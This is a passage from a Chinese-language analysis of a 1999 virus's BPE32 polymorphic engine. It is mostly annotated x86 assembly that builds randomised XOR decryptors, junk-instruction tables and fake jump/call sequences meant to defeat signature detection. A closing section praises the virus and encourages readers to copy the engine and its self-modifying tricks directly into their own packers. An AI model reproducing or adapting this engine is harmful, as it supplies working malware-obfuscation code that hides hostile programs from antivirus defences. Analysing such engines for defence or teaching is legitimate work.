;generate MOV reg, [ESP]; POP EAX stosb mov al, 80h or al, bl rol al, 3 stosb mov al, 24h stosb mov al, 58h jmp bdelta next_delta: ;; 产生pop reg类似的指令 mov al, bl ;generate POP reg; SUB reg, ... add al, 58h bdelta: stosb mov al, 81h stosb mov al, 0e8h add al, bl stosb pop eax stosd ;; 产生随机花指令 call rjunk ;random junx ;; 到此分析截住,下里面的代码其实与上面大体相同 ;; 都是合成不同种类的解密头的部分 xor bh, bh ;parameter (first execution only) call greg2 ;generate MOV sourcereg, ... mov al, 3 ;generate ADD sourcereg, deltaoffset stosb ; ... mov al, 18h ; ... or al, bh ; ... rol al, 3 ; ... or al, bl ; ... stosb ; ... mov esi, ebx ;store EBX call greg2 ;generate MOV countreg, ... mov cl, bh ;store count register mov ebx, esi ;restore EBX call greg3 ;generate MOV keyreg, ... push edi ;store this position for jump to decryptor mov al, 31h ;generate XOR [sourcereg], keyreg stosb ; ... mov al, ch ; ... rol al, 3 ; ... or al, bh ; ... stosb ; ... push 6 ;this stuff will choose ordinary of calls call random ;to code generators test eax, eax je g5 ;GREG4 - key incremention cmp al, 1 ;GREG5 - source incremention je g1 ;GREG6 - count decremention cmp al, 2 ;GREG7 - decryption loop je g2 cmp al, 3 je g3 cmp al, 4 je g4 g0: call gg1 call greg6 jmp g_end g1: call gg2 call greg5 jmp g_end g2: call greg5 call gg2 jmp g_end g3: call greg5 gg3: call greg6 jmp g_out g4: call greg6 call gg1 jmp g_end g5: call greg6 call greg5 g_out: call greg4 g_end: call greg7 mov al, 61h ;generate POPAD instruction stosb ; ... call rjunk ;junk instruction generator mov al, 0c3h ;RET instruction stosb ; ... pop eax ;calculate size of decryptor and encrypted data sub eax, edi ; ... neg eax ; ... mov [esp.Pushad_eax], eax ;store it to EAX register popad ;restore all regs ret ;and thats all folx get_reg proc ;this procedure generates random register push 8 ;random number (0-7) call random ; ... test eax, eax je get_reg ;MUST NOT be 0 (=EAX is used as junk register) cmp al, 100b ;MUST NOT be ESP je get_reg ret get_reg endp ;; 随机产生一个异或指令 make_xor proc ;this procedure will generate instruction, that ;; 产生一个随机数0-3 push 3 ;will nulify register (BL as parameter) call random ;; 对比,并进入相应的产生代码 test eax, eax je _sub_ cmp al, 1 je _mov_ mov al, 33h ;generate XOR reg, reg jmp _xor_ ;; 产生一个sub reg, reg的清0指令 _sub_: mov al, 2bh ;generate SUB reg, reg ;; 设置这个opcode _xor_: stosb ;; 换算寄存器 mov al, 18h or al, bl rol al, 3 or al, bl ;; 设置 stosb ret ;; 如果是dl=11将不产生mov reg, 0类似的指令 _mov_: cmp dl, 11 ;generate MOV reg, 0 je make_xor ;; 0b8是mov的opcode mov al, 0b8h ;; 换算寄存器 add al, bl stosb xor eax, eax stosd ret make_xor endp gg1: call greg4 jmp greg5 gg2: call greg4 jmp greg6 ;; 产生一个随机值,如果参数是0则直接返回0 random proc ;this procedure will generate random number ;in range from 0 to pushed_parameter-1 ;0 = do not truncate result push edx ;save EDX RDTCS ;RDTCS instruction - reads PCs tix and stores ;number of them into pair EDX:EAX xor edx, edx ;nulify EDX, we need only EAX cmp [esp+8], edx ;is parameter==0 ? je r_out ;yeah, do not truncate result div dword ptr [esp+8] ;divide it xchg eax, edx ;remainder as result r_out: pop edx ;restore EDX ret Pshd ;quit procedure and destroy pushed parameter random endp make_xor2 proc ;create XOR instruction mov al, 81h stosb mov al, 0f0h add al, bh stosb ret make_xor2 endp greg2 proc ;1 parameter = source/count value call get_reg ;get register cmp al, bl ;already used ? je greg2 cmp al, 5 je greg2 cmp al, bh je greg2 mov bh, al mov ecx, [esp+4] ;get parameter push 5 ;choose instructions call random test eax, eax je s_next0 cmp al, 1 je s_next1 cmp al, 2 je s_next2 cmp al, 3 je s_next3 mov al, 0b8h ;MOV reg, random_value add al, bh ;XOR reg, value stosb ;param = random_value xor value push 0 call random xor ecx, eax stosd call make_xor2 mov eax, ecx jmp n_end2 s_next0:mov al, 68h ;PUSH random_value stosb ;POP reg push 0 ;XOR reg, value call random ;result = random_value xor value xchg eax, ecx xor eax, ecx stosd mov al, 58h add al, bh stosb call make_xor2 xchg eax, ecx jmp n_end2 s_next1:mov al, 0b8h ;MOV EAX, random_value stosb ;MOV reg, EAX push 0 ;SUB reg, value call random ;result = random_value - value stosd push eax mov al, 8bh stosb mov al, 18h or al, bh rol al, 3 stosb mov al, 81h stosb mov al, 0e8h add al, bh stosb pop eax sub eax, ecx jmp n_end2 s_next2:push ebx ;XOR reg, reg mov bl, bh ;XOR reg, random_value call make_xor ;ADD reg, value pop ebx ;result = random_value + value call make_xor2 push 0 call random sub ecx, eax stosd push ecx call s_lbl pop eax jmp n_end2 s_lbl: mov al, 81h ;create ADD reg, ... instruction stosb mov al, 0c0h add al, bh stosb ret s_next3:push ebx ;XOR reg, reg mov bl, bh ;ADD reg, random_value call make_xor ;XOR reg, value pop ebx ;result = random_value xor value push 0 call random push eax xor eax, ecx xchg eax, ecx call s_lbl xchg eax, ecx stosd call make_xor2 pop eax n_end2: stosd push esi call rjunk pop esi ret Pshd greg2 endp greg3 proc call get_reg ;get register cmp al, 5 ;already used ? je greg3 cmp al, bl je greg3 cmp al, bh je greg3 cmp al, cl je greg3 mov ch, al mov edx, 0 ;get encryption key value xor_key = dword ptr $ - 4 push 3 call random test eax, eax je k_next1 cmp al, 1 je k_next2 push ebx ;XOR reg, reg mov bl, ch ;OR, ADD, XOR reg, value call make_xor pop ebx mov al, 81h stosb push 3 call random test eax, eax je k_nxt2 cmp al, 1 je k_nxt3 mov al, 0c0h k_nxt1: add al, ch stosb xchg eax, edx n_end1: stosd k_end: call rjunk ret k_nxt2: mov al, 0f0h jmp k_nxt1 k_nxt3: mov al, 0c8h jmp k_nxt1 k_next1:mov al, 0b8h ;MOV reg, value jmp k_nxt1 k_next2:mov al, 68h ;PUSH value stosb ;POP reg xchg eax, edx stosd mov al, ch add al, 58h jmp i_end1 greg3 endp greg4 proc mov edx, 0 ;get key increment value key_inc = dword ptr $ - 4 i_next: push 3 call random test eax, eax je i_next0 cmp al, 1 je i_next1 cmp al, 2 je i_next2 mov al, 90h ;XCHG EAX, reg add al, ch ;XOR reg, reg stosb ;OR reg, EAX push ebx ;ADD reg, value mov bl, ch call make_xor pop ebx mov al, 0bh stosb mov al, 18h add al, ch rol al, 3 stosb i_next0:mov al, 81h ;ADD reg, value stosb mov al, 0c0h add al, ch stosb xchg eax, edx jmp n_end1 i_next1:mov al, 0b8h ;MOV EAX, value stosb ;ADD reg, EAX xchg eax, edx stosd mov al, 3 stosb mov al, 18h or al, ch rol al, 3 i_end1: stosb i_end2: call rjunk ret i_next2:mov al, 8bh ;MOV EAX, reg stosb ;ADD EAX, value mov al, 0c0h ;XCHG EAX, reg add al, ch stosb mov al, 5 stosb xchg eax, edx stosd mov al, 90h add al, ch jmp i_end1 greg4 endp greg5 proc push ecx mov ch, bh push 4 pop edx push 2 call random test eax, eax jne ng5 call i_next ;same as previous, value=4 pop ecx jmp k_end ng5: mov al, 40h ;4x inc reg add al, ch pop ecx stosb stosb stosb jmp i_end1 greg5 endp greg6 proc push 5 call random test eax, eax je d_next0 cmp al, 1 je d_next1 cmp al, 2 je d_next2 mov al, 83h ;SUB reg, 1 stosb mov al, 0e8h add al, cl stosb mov al, 1 jmp i_end1 d_next0:mov al, 48h ;DEC reg add al, cl jmp i_end1 d_next1:mov al, 0b8h ;MOV EAX, random_value stosb ;SUB reg, EAX push 0 ;ADD reg, random_value-1 call random mov edx, eax stosd mov al, 2bh stosb mov al, 18h add al, cl rol al, 3 stosb mov al, 81h stosb mov al, 0c0h add al, cl stosb dec edx mov eax, edx jmp n_end1 d_next2:mov al, 90h ;XCHG EAX, reg add al, cl ;DEC EAX stosb ;XCHG EAX, reg mov al, 48h stosb mov al, 90h add al, cl jmp i_end1 greg6 endp greg7 proc mov edx, [esp+4] dec edx push 2 call random test eax, eax je l_next0 mov al, 51h ;PUSH ECX stosb ;MOV ECX, reg mov al, 8bh ;JECXZ label stosb ;POP ECX mov al, 0c8h ;JMP decrypt_loop add al, cl ;label: stosb ;POP ECX mov eax, 0eb5903e3h stosd sub edx, edi mov al, dl stosb mov al, 59h jmp l_next l_next0:push ebx ;XOR EAX, EAX xor bl, bl ;DEC EAX call make_xor ;ADD EAX, reg pop ebx ;JNS decrypt_loop mov al, 48h stosb mov al, 3 stosb mov al, 0c0h add al, cl stosb mov al, 79h stosb sub edx, edi mov al, dl l_next: stosb call rjunk ret Pshd greg7 endp rjunkjc:push 7 call random jmp rjn ;; 产生花指令 ;; BPE32总共有8组花指令类型,0-7 ;; 又用0 - 7,8个数字进行了映射 ;; 例如1=1+2代表,如果获取到一个随机数的值为1 ;; 那么取第一组的花指令然后取第二组的花指令 ;; 0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call ;; 以下会以此分析这几组产生花指令的代码 ;; 这段随机花指令产生写的很不错,很多技巧值得学习 rjunk proc ;junk instruction generator ;; 产生一个0 - 7的随机值 push 8 call random ;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call ;; 对比并进入相应的处理程序 rjn: test eax, eax je j5 cmp al, 1 je j_1x2 cmp al, 2 je j_2x1 cmp al, 4 je j2 cmp al, 5 je j3 cmp al, 6 je r_end cmp al, 7 je jcj ;; 如果随机值是1或者3 j1: call junx1 ;one byte junk instruction nop dec eax SALC inc eax clc cwde stc cld ;; 这里为产生1字节的花支付令 ;; esi指向由1字节花指令产生的表,总共8条 junx1: pop esi ;; 再产生一个0-7的随机数,选取一个花指令 push 8 call random ;; esi为花指令的地址 add esi, eax ;; 移动到edi指向的内存中 movsb ret ;; 这里为当随机值号为1时,先建立一个1字节的花指令 ;; 然后再建立一个2字节的花指令 j_1x2: call j1 ;one byte and two byte jmp j2 ;; 这里为当随机值号为2时,先建立一个2字节的花指令 ;; 然后再建立一个1字节的花指令 j_2x1: call j2 ;two byte and one byte jmp j1 ;; 这里为当随机值号为1时,先建立一个3字节的花指令 j3: call junx3 db 0c1h, 0c0h ;rol eax, ... db 0c1h, 0e0h ;shl eax, ... db 0c1h, 0c8h ;ror eax, ... db 0c1h, 0e8h ;shr eax, ... db 0c1h, 0d0h ;rcl eax, ... db 0c1h, 0f8h ;sar eax, ... db 0c1h, 0d8h ;rcr eax, ... db 083h, 0c0h db 083h, 0c8h db 083h, 0d0h db 083h, 0d8h db 083h, 0e0h db 083h, 0e8h db 083h, 0f0h db 083h, 0f8h ;cmp eax, ... db 0f8h, 072h ;clc; jc ... db 0f9h, 073h ;stc; jnc ... ;; esi指向3字节花指令表,这里都是一些移动等无伤大雅的opcde ;; 后面添加一个随机数 junx3: pop esi ;three byte junk instruction ;; 生成一个0-17之间的随机数 push 17 call random ;; 这个随机数乘2 imul eax, 2 ;; 将当前的读取地址与这个值相加 ;; 后的地址作为读取 add esi, eax ;; 设置两个字节 movsb movsb ;; 产生一个0 r_ran: push 0 call random test al, al je r_ran stosb ret ;; 这里为当随机值号为4时 ;; 产生一个2字节的花指令 j2: call junx2 db 8bh ;mov eax, ... db 03h ;add eax, ... db 13h ;adc eax, ... db 2bh ;sub eax, ... db 1bh ;sbb eax, ... db 0bh ;or eax, ... db 33h ;xor eax, ... db 23h ;and eax, ... db 33h ;test eax, ... ;; esi指向2字节的花指令表,总共有9个 junx2: pop esi ;two byte junk instruction push 9 call random add esi, eax movsb ;; 产生一个0-8的花指令 push 8 call random ;; 做与运算 add al, 11000000b stosb r_end: ret ;; 这里为当随机值号为0时 ;; 产生一个5字节的花指令 j5: call junx5 db 0b8h ;mov eax, ... db 05h ;add eax, ... db 15h ;adc eax, ... db 2dh ;sub eax, ... db 1dh ;sbb eax, ... db 0dh ;or eax, ... db 35h ;xor eax, ... db 25h ;and eax, ... db 0a9h ;test eax, ... db 3dh ;cmp eax, ... ;; esi指向5字节的花指令表,总共有10个 junx5: pop esi ;five byte junk instruction push 10 call random add esi, eax movsb ;; 产生一个4字节的随机数 push 0 call random stosd ret ;; 这里为当随机值号为7时 ;; 产生一个伪跳转字节的花指令 ;; 跳入rjunkjc标签(向上),在rjunkjc中 ;; 执行的操作为,首先再次产生一个0-6之间 ;; 的随机花指令,然后再创建一个伪跳转 jcj: call rjunkjc ;junk ;; 保存edx, ebx, ecx寄存器的值 push edx ;CALL label1 push ebx ;junk push ecx ;JMP label2 ;; 设置一个CALL指令的opcode mov al, 0e8h ;junk stosb ;label1: junk ;; 保存edi,设置了跳转opcode后的指针 push edi ;RET ;; 从当前esi指向处随便读取一个值进行填充 stosd ;junk ;; 保存edi,指向设置了偏移后的指针 push edi ;label2: ;; 产生随机花指令,除了伪跳转 call rjunkjc ;junk ;; 产生一个伪跳转,并设置跳转的opcode-0e9h mov al, 0e9h stosb ;; 将edi当前的指针设置给ecx mov ecx, edi ;; 随遍从esi中取出一个值设置 stosd ;; 将目前的edi设置给ebx mov ebx, edi ;; 产生花指令 call rjunkjc ;; eax中保存了,产生第一个伪跳后的指针 pop eax ;; 于第二条伪跳后的指针做减法 sub eax, edi ;; 换算为正数 neg eax ;; 当前添加花指令后的指针设置给edx mov edx, edi ;; 恢复edi到第一个伪跳的opcode之后指针 pop edi ;; 将eax偏移设置到其后,第一个伪跳跳到第 ;; 二个伪跳 stosd ;; 恢复edi mov edi, edx ;; 产生花指令 call rjunkjc ;; 设置一个ret(c3h)指令 mov al, 0c3h stosb ;; 产生花指令,除了第7号 call rjunkjc ;; 设置第2个伪跳的偏移 sub ebx, edi neg ebx xchg eax, ebx push edi mov edi, ecx stosd ;; 恢复edi寄存器 pop edi ;; 产生花指令,除了第7号 call rjunkjc ;; 恢复寄存器 pop ecx pop ebx pop edx ret rjunk endp BPE32 EndP ;BPE32 ends here //------------------------------------------------------------------------------------------------------------------------------------------ [0x06].借鉴的技巧 这个病毒写的确实非常好.作者的构思,以及编码技巧都值得我们借鉴到自己的壳中这个病毒最实际的是给出了几个很不错函数例如BPE32变形引擎,BCE32压缩引 擎这些都可以直接拖到我们自己的壳中使用,或者在其上进行山寨.做到青出于蓝而胜于蓝的山寨效果.还有像多线程通讯这种技巧非常值得在壳中得到应用. 这个病毒整体用的最多是一个自修改的编码技巧,例如: mov eax, 0 _xx_ = dword ptr $ - 4 接下来是 call eax 或者 stosd 这些操作eax寄存器的技巧.都值得我们借鉴. 最后 - 希望大家喜欢这个99年的经典病毒,以及我的文章! ^_^